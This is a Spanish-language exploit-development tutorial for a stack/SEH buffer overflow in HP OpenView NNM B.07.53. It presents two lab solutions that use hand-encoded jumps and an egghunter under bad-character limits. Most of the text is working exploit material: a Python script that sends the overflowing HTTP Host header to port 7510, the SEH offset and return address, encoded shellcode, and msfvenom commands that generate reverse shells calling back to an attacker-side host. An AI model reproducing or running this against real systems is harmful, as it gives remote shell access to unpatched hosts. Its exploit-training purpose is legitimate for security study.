Jugando con Openview NNM

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Introducción

La explotación de HP OpenView NNM B.07.53 es un buen ejercicio para practicar exploiting con limitación de caracteres, de hecho tienes que crear un "encoder" manualmente debido a esas restricciones. También es útil para practicar el concepto de "egghunter". Una buena mezcla para que te explote la cabeza y sólo veas valores hexadecimales al final del ejercicio.

Partiendo de este gran tutorial del crack "greyshell", y que es necesario leer para seguir este artículo, intentaré dos maneras diferentes de explotar este "bug":
https://greyshell.github.io/blog/2016/11/07/hpnmm-exploit/

En este tutorial el bueno de "greyshell" al final del todo tiene que volver al principio del buffer para poner codificada la "bind_shell" y hacer un salto desde el "egghunter" a esa shell. Pero me surgen dos preguntas ante esta solución:

  • Si tienes que volver atrás en el buffer, ¿para qué codificar el "egghunter"? ¿No bastaría con hacer un codigo ensamblador con un salto hacía atrás y codificarlo? La respuesta a esto es sí e intentaré explicarlo en la Solución 1.
  • Y la otra pregunta es ¿realmente no hay espacio suficiente al final del buffer para meter la shell sin necesidad de volver hacia atrás y así aprovechar realmente el "egghunter" codificado?. Al contrario de lo que piensa "greyshell", y usando un método manual para crear el "encoder", sí que hay espacio suficiente para poner la shell al final del buffer. Está un poco ajustado, pero entra y sin la limitación de la restricción de caracteres. Al menos a mi me funciona con la versión HP OpenView NNM - B.07.53. Sé también de buena tinta que la versión B.07.50 hay hueco de sobra porque no tiene limitacion de caracteres en la parte final del buffer. Intentaré explicar esto en la Solución 2.

Configuración del laboratorio

Esto es lo que he usado para montar el laboratorio:

Una vez que tienes las máquinas virtuales creadas en el mismo segmento de red es hora de probar el exploit. Es interesante hacer fuzzing para llegar a descubrir el "crash". Yo este paso no lo voy a explicar aquí, empezaré directamente con el exploit en python. https://www.exploit-db.com/exploits/5342

Estudio del crash

Vamos a ir rápido en este apartado porque ya hay una guia estupenda en el enlace de "greyshell" donde podeís seguir paso a paso el proceso. Quiero centrarme en las diferencias con esa guia. Utilizando la técnica del "pattern", vemos que el programa hace "crash" en la posición 3309, al menos en mi laboratorio:

# [*] Exact match at offset 3309

Y de esta manera ya tenemos el control del EIP mediante el clásico SEH:

#!/usr/bin/python


import socket
import sys
import os

# [*] Exact match at offset 3309

crash = "A" * 3309 + "\x42\x42\x42\x42" 

buffer="GET /topology/home HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Connection: keep-alive\r\n\r\n"

print "[**] Sending poison HTTP request to NNMz"

try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.11.17", 7510))
expl.send(buffer)
expl.close()

Ahora buscamos una posición de memoria donde encontrar los "gadgets" POP POP RET para saltar a nuestro buffer que vamos a rellenar por detras de "C", concretamente 500:

crash = "A" * 3309 + "\x7d\x39\x6e\x6d" + "C" * 500

Si echamos un vistazo a nuestro buffer en la memoria vemos que han cabido las 500 C's que hemos puesto detrás:


Y aquí está lo curioso del asunto, si ponemos 600 C´s el exploit no funciona. Por lo que ajustando la cantidad de C´s al final del buffer vemos que el número máximo de bytes que podemos poner es de 567. Es decir si el buffer ocupa más de 3880 (3309 + 4 + 567) bytes, no va a funcionar.

crash = "A" * 3309 + "\x7d\x39\x6e\x6d" + "C" * 567

Llegados a este punto tenemos dos soluciones:

  • la solución 1 en la que hay que codificar un salto hacia atrás en el buffer con su correspondiente ajuste de pila y así poder volver dónde están las 3309 A's del principio.
  • la solución 2 donde metemos el "egghunter" codificado en la primera parte del buffer y luego añadimos al final del GET el espacio necesario para mandar a otra parte de la memoria nuestro "reverse shell", eso sí, precedido por nuestra palabra mágica(T00WT00W) para que así lo puede encontrar el "egghunter".
    En esta solución el "chunk1" y el "chunk2" están directamente relacionados por la limitación a 567 bytes, ya que el espacio que pongamos a uno se lo quitamos al otro y viceversa.

Respecto a los "bad characters", en la guia de referencia lo explica perfectamente. Aquí tenéis todo lo necesario para detectarlos:
https://github.com/greyshell/Penetration-Test/tree/master/badchar_detection_automated
Esta es la lista de badhcars que me sale:

badchars: \x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
goodchars: \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f

Lo que sí vamos a explicar brevemente es como llegamos a nuestro buffer lleno de C's después de tener el control del SEH. Se trata de introducir un salto de 4 bytes para saltar la dirección que apunta a los "gadgets" POP POP RET. En la imagen de arriba de la memoria se ve claramente como para pasar del valor 41 (A's) al valor 43 (C's) hay que saltar 4 bytes. Para ello necesitamos un opcode de salto que esté dentro de los "goodchars". La instrucción JA que tiene el opcode 77 es un buen candidato. Teniendo en cuenta esto, echemos un vistazo como sería el código:


Teniendo en cuenta la definición de JA: Jump short if above (CF=0 and ZF=0)
ZF va a ser siempre 0 a no ser que tengamos la mala suerte de que ECX=FFFFFFFE (-2)
CF va a ser siempre 0 ya que "INC ECX" no genera carry.
Por lo tanto, ya tenemos el salto que queríamos sin usar "bad characters".

crash = "A" * 3307 + "\x77\x04" + "\x7d\x39\x6e\x6d" + "C" * 567

Ya tenemos el EIP dentro de nuestro buffer, que es lo que queríamos, ahora detallaremos cada una de las soluciones.

Solución 1

En esta solución vamos a tener que saltar hacia atrás utilizando instrucciones que tengan opcodes válidos dentro de los caracteres permitidos. El problema que nos surge aquí es que el opcode(EB) del JMP incodicional no está dentro de los caracteres permitidos, por lo que tendremos que codificar esta funcion con caracteres válidos y hacer que se decodifique en tiempo de ejecución. Como estamos ejecutando el código en la pila, es necesario desplazar el ESP unas posiciones más abajo (en nuestro caso 0x64 bytes) de tal manera que las instrucciones decodificadas queden por debajo de nuestro código codificado. Es decir tendremos que mover el ESP 0x64 posiciones más abajo del EIP. Si nos fijamos en el momento del "crash" el valor del EIP y el contenido de la primera posición de la pila coincide, EIP=[ESP]:


Aprovechando esto, podemos guardar el valor del EIP en el registro EBX, de esta manera podremos usarlo más tarde para sumarle 0x64 bytes al ESP y así apuntar a un lugar por donde va a pasar el EIP:

5B               POP EBX                                 
53               PUSH EBX
04 64            ADD AL,64
030424           ADD EAX,[ESP]
50               PUSH EAX
5C               POP ESP
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E

Las dos últimas instrucciones se usan para poner a 0 el registro EAX usando caracteres válidos. Una vez que tenemos desplazado el ESP 0x64 bytes más abajo del EIP es hora de codificar el salto hacia atrás de 3072 (0x0C00) bytes. Estas serían las instrucciones que queremos codificar:

42               INC EDX
80C4 0C          ADD AH,0C
2BD8             SUB EBX,EAX
FFE3             JMP EBX

Para codificar estas instrucciones, utilizamos la técnica del complemento a 2, que está muy bien explicada en este enlace:
http://www.negation.net/papers/encoding_shellcode\
Estas son mis notas de las operaciones, tener en cuenta que a diferencia de la solución de "greyshell", donde tenia que codificar 32 bytes, aquí sólo hay que codificar 8 bytes:

Valores hexadecimal de las instrucciones dividas en 4 bytes:
4280C40C
2BD8FFE3

Cogemos los últimos 4 bytes y los ponemos al reves (little endian):
E3FFD82B

gdb-peda$ print /x 0xFFFFFFFF - 0xE3FFD82B + 1
$1 = 0x1c0027d5
gdb-peda$ print /x 0x1c0027d5 - 0x017f0177
$2 = 0x1a81265e
gdb-peda$ print /x 0x1a81265e - 0x01060101
$3 = 0x197b255d
gdb-peda$ print /x 0x0000000 - 0x017f0177 - 0x01060101 - 0x197b255d
$4 = 0xe3ffd82b

Instrucciones codificadas:
SUB EAX,0x017f0177
SUB EAX,0x01060101
SUB EAX,0x197b255d
PUSH EAX

Cogemos los siguientes 4 bytes y los ponemos al reves (little endian):
0CC48042

gdb-peda$ print /x 0xFFFFFFFF - 0x0CC48042 + 1
$5 = 0xf33b7fbe
gdb-peda$ print /x 0xf33b7fbe - 0x7f020155
$6 = 0x74397e69
gdb-peda$ print /x 0x0000000 - 0x7f020155 - 0x74397e69
$1 = 0xcc48042

Instrucciones codificadas:
SUB EAX,0x7f020155
SUB EAX,0x74397e69
PUSH EAX

Ahora incluimos los EAX=0 que necesitamos y este sería el código codificado usando sólo caracteres autorizados:

2D 77017F01      SUB EAX,17F0177
2D 01010601      SUB EAX,1060101
2D 5D257B19      SUB EAX,197B255D
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 5501027F      SUB EAX,7F020155
2D 697E3974      SUB EAX,74397E69
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E

Y estos serían los valores hexadecimales incluyendo también la suma de 0x64 bytes al ESP:

# 66 bytes

jump1 = "\x5B\x53\x04\x64\x03\x04\x24\x50\x5C\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x77\x01\x7F\x01\x2D\x01\x01\x06\x01\x2D\x5D\x25\x7B\x19\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x55\x01\x02\x7F\x2D\x69\x7E\x39\x74\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E"

Y aquí el buffer "crash" modificado con los nuevos valores:

crash = "A" * 3307 + "\x77\x04" + "\x7d\x39\x6e\x6d" + jump1 + "B" * 501

Pregunta sencillita, ¿por qué esta vez he puesto B's al final del buffer en vez de las C's?

Ahora que ya hemos realizado nuestro salto de 3072 bytes y estamos al principio del buffer de las A's, tenemos que codificar la reverse_shell para evitar los "bad characters". Creamos una reverse_shell con metasploit:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.11.18 LPORT=443 -a x86 --platform windows -f hex

Y para codificarla, echamos mano otra vez de "greyshell" y de este script que tiene en su github:
https://github.com/greyshell/Penetration-Test/tree/master/alpha_num_encoder
He hecho una modificación de este script (típica "chapu" de las mías) en la que se puede ahorrar bytes a la hora de codificar, viene bien por si tienes poco espacio:
https://github.com/g4ngli0s/scripts/blob/master/alphanumenc_save.py
O también se puede hacer directamente con mona:

!mona encode ascii -t alphanum -b 'lista de badchars' -s valor_hexadecimal_del_rev_shell

Ejecutando el script nos da un resultado muy extenso que no voy a poner aquí, sólo lo que ocupa en bytes:

python alphaNumEncoder.py
...
[+++++] Length: 2106

Pero antes también tenemos que tener en cuenta el ESP, no nos podemos olvidar que está apuntando a la parte de las B's y con el salto hacia atrás lo tenemos que mover hacia las A's para que a la hora de ejecutarse el codificador del reverse_shell lo descodifique en la parte baja del buffer de las A's (que a partir de ahora llenaremos de C's para diferenciarlo). Para ello tenemos que incluir el codigo que nos permita mover el ESP hacia atrás, para ello vamos a restar 252 (0xFC) bytes al ESP con opcodes que tengan caracteres permitidos:

25 31313131  and eax,31313131 
25 4E4E4E4E  and eax,4E4E4E4E 
2D 017F7F7F  sub eax,7F7F7F01 
2D 01090909  sub eax,9090901 
2D 02777777  sub eax,77777702 
50           push eax 
54           push esp 
58           pop eax 
2B0424       sub eax,dword ptr ss:[esp] 
50           push eax 
5C           pop esp 

Este es el valor hexadecimal de este ajuste del ESP:

#33 bytes

adjustESP = "\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x01\x7F\x7F\x7F\x2D\x01\x09\x09\x09\x2D\x02\x77\x77\x77\x50\x54\x58\x2B\x04\x24\x50\x5C"

Este es el valor hexadecimal del reverse_shell codificado:

#2106 bytes

revshellcod = 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a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x35\x35\x37\x2d\x60\x35\x35\x37\x2d\x60\x35\x36\x37\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x37\x39\x55\x2d\x37\x37\x39\x55\x2d\x39\x37\x3c\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x36\x36\x34\x2d\x49\x36\x36\x34\x2d\x4a\x38\x38\x36\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x65\x27\x3d\x49\x2d\x65\x27\x3d\x49\x2d\x66\x27\x41\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x53\x26\x54\x2d\x27\x53\x26\x54\x2d\x27\x55\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x4b\x54\x64\x2d\x38\x4b\x54\x64\x2d\x38\x4d\x56\x64\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x54\x64\x32\x2d\x49\x54\x64\x32\x2d\x4a\x56\x64\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x37\x26\x37\x2d\x5e\x37\x26\x37\x2d\x60\x38\x28\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x2b\x49\x2e\x2d\x41\x2b\x49\x2e\x2d\x43\x2c\x49\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x58\x53\x2b\x57\x2d\x58\x53\x2b\x57\x2d\x5a\x55\x2c\x59\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x68\x42\x5f\x2c\x2d\x68\x42\x5f\x2c\x2d\x69\x42\x61\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6a\x65\x50\x54\x2d\x6a\x65\x50\x54\x2d\x6b\x65\x51\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x44\x55\x70\x2d\x63\x44\x55\x70\x2d\x64\x45\x56\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x43\x26\x54\x2d\x27\x43\x26\x54\x2d\x27\x45\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4d\x5e\x41\x3c\x2d\x4d\x5e\x41\x3c\x2d\x4e\x60\x42\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x64\x26\x3c\x2d\x55\x64\x26\x3c\x2d\x55\x64\x27\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x26\x37\x4a\x2d\x39\x26\x37\x4a\x2d\x3d\x28\x38\x4b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x3c\x54\x64\x2d\x5f\x3c\x54\x64\x2d\x5f\x3e\x56\x66\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3b\x4f\x2d\x2d\x27\x3b\x4f\x2d\x2d\x27\x3d\x50\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x26\x3c\x41\x2d\x50\x26\x3c\x41\x2d\x50\x28\x3d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x38\x26\x39\x2d\x39\x38\x26\x39\x2d\x3c\x38\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x68\x5e\x59\x2d\x55\x68\x5e\x59\x2d\x55\x68\x60\x5a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4a\x6a\x65\x50\x2d\x4a\x6a\x65\x50\x2d\x4c\x6a\x65\x51\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x2b\x54\x46\x2d\x35\x2b\x54\x46\x2d\x35\x2d\x55\x47\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x55\x70\x3e\x2d\x45\x55\x70\x3e\x2d\x45\x56\x72\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x6d\x3c\x48\x2d\x50\x6d\x3c\x48\x2d\x51\x6e\x3c\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4e\x26\x2e\x47\x2d\x4e\x26\x2e\x47\x2d\x50\x28\x31\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x51\x26\x39\x2d\x39\x51\x26\x39\x2d\x3c\x51\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x45\x26\x2d\x27\x39\x45\x26\x2d\x27\x3d\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x44\x6a\x33\x2d\x5e\x44\x6a\x33\x2d\x5f\x45\x6b\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x35\x27\x2d\x55\x55\x35\x27\x2d\x56\x55\x35\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x5c\x29\x55\x2d\x56\x5c\x29\x55\x2d\x58\x5e\x2a\x55\x50"

Y por último el valor del buffer "crash" con todos los ajustes:

crash = "A" * 307 + adjustESP + revshellcod + "C" * 861 + "\x77\x04" + "\x7d\x39\x6e\x6d" + jump1 + "B" * 501

Y aquí la shell final en todo su esplendor:

Solución 2

Para esta segunda solución recordemos que sólo tenemos 567 bytes. Por lo tanto lo primero que hay que tener en cuenta es cuanto nos va a ocupar el "egghunter" codificado en el buffer (chunk1). Ahora se trata de codificar los 32 bytes que ocupa el "egghunter".
Dividimos los valores hexadecimales del "egghunter" en 8 conjuntos de 4 bytes:

\x66\x81\xca\xff
\x0f\x42\x52\x6a
\x02\x58\xcd\x2e
\x3c\x05\x5a\x74
\xef\xb8\x54\x30
\x30\x57\x8b\xfa
\xaf\x75\xea\xaf
\x75\xe7\xff\xe7

Invertimos los valores (little indian) y los colocamos de arriba a abajo:

6681CAFF
0F42526A
0258CD2E
3C055A74
EFB85430
305789D7
AF75EAAF
75E7FFE7

Y ahora utilizando el método manual del complemento a 2, tal como hemos hecho en la solución anterior, tenemos la siguiente codificación:

25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 1A017F01      SUB EAX,17F011A
2D 03020B01      SUB EAX,10B0203
2D 6E157615      SUB EAX,1576156E
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 010B0502      SUB EAX,2050B01
2D 507F104E      SUB EAX,4E107F50
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 6A430402      SUB EAX,204436A
2D 66657226      SUB EAX,26726566
50               PUSH EAX
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 01024252      SUB EAX,52420201
2D 1045697D      SUB EAX,7D694510
50               PUSH EAX
68 3C055A74      PUSH 745A053C
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 7F43027C      SUB EAX,7C02437F
2D 7F643055      SUB EAX,5530647F
50               PUSH EAX
68 0F42526A      PUSH 6A52420F
25 31313131      AND EAX,31313131
25 4E4E4E4E      AND EAX,4E4E4E4E
2D 216E017F      SUB EAX,7F016E21
2D 0201045A      SUB EAX,5A040102                        
2D 770F3027      SUB EAX,27300F77
50               PUSH EAX

Esto hace un total de 146 bytes para el "egghunter" codificado y para no pillarnos los dedos reservamos 206 bytes para el "chunk1".
Pero antes de continuar, delante de este código tenemos que poner el código para aumentar el ESP y llevarlo al final del buffer, para que sea ahí donde se descodifique el "egghunter" y se ejecute cuando el EIP llegue a esa parte de la pila. Vamos a calcular añadir 220 (0xdc) bytes al ESP, siendo este el código ensamblador que vamos a usar (recordar que en el momento del "crash" [ESP]=EIP):

5B               POP EBX                                 
53               PUSH EBX
2D 017F7F7F      SUB EAX,0x7f7f7f01
2D 01090909      SUB EAX,0x09090901
2D 22777777      SUB EAX,0x77777722
030424           ADD EAX,DWORD PTR SS:[ESP]
50               PUSH EAX
5C               POP ESP

Este código que ocupa 22 bytes lo ponemos delante del egghunter y tenemos un total de 168 bytes:

#168 bytes
egghunt = "\x5B\x53\x2D\x01\x7F\x7F\x7F\x2D\x01\x09\x09\x09\x2D\x22\x77\x77\x77\x03\x04\x24\x50\x5C\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x1A\x01\x7F\x01\x2D\x03\x02\x0B\x01\x2D\x6E\x15\x76\x15\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x01\x0B\x05\x02\x2D\x50\x7F\x10\x4E\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x6A\x43\x04\x02\x2D\x66\x65\x72\x26\x50\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x01\x02\x42\x52\x2D\x10\x45\x69\x7D\x50\x68\x3C\x05\x5A\x74\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x7F\x43\x02\x7C\x2D\x7F\x64\x30\x55\x50\x68\x0F\x42\x52\x6A\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x2D\x21\x6E\x01\x7F\x2D\x02\x01\x04\x5A\x2D\x77\x0F\x30\x27\x50"

Este sería el buffer "crash" hechas las modificaciones:

crash = "A" * 3307 + "\x77\x04" + "\x7d\x39\x6e\x6d" + egghunt +  "C" * 38

Y ahora nos queda para meter en otra parte de la memoria el chunk2 (361 bytes) con nuestro reverse_shell y la palabra clave de nuestro "egghunter": T00WT00W. Teniendo en cuenta que en esta parte de la memoria no está limitada por la restrición de caracteres válidos, la reverse_shell ocupa 324 bytes. Y la palabra para encontrar el "egghunter" son 8 bytes, lo que hace un total de 332 bytes.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.104 LPORT=443 -a x86 --platform windows -f python
#Payload size: 324 bytes

Por lo tanto nos va a sobrar espacio para inyectar nuestro shellcode al final del buffer:

buffer="GET /topology/home HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Connection: keep-alive\r\n\r\n"
buffer+="T00WT00W" + buf + "\xcc" * 29

Probamos el exploit y aquí está otra vez nuestra flamante shell:

Resumiendo un poco, en la solución 1 hemos demostrado que es más práctico hacer un salto hacia atrás usando sólo 8 bytes para codificar el "encoder" que hacerlo con el "egghunter" de 32 bytes. Y con la solución 2 hemos visto que hay espacio suficiente para que entre el "egghunter" codificado, eso sí, siempre y cuando se haga manualmente y no con el script alpha_num_encoder que utiliza "greyshell" el cual genera un mayor número de bytes (con el mio modificado tampoco se ahorra espacio en este caso).

Ahora dejad de mirar la pantalla y mirad a cualquier otro lado, si veis números en hexadecimal se ha cumplido el objetivo :-)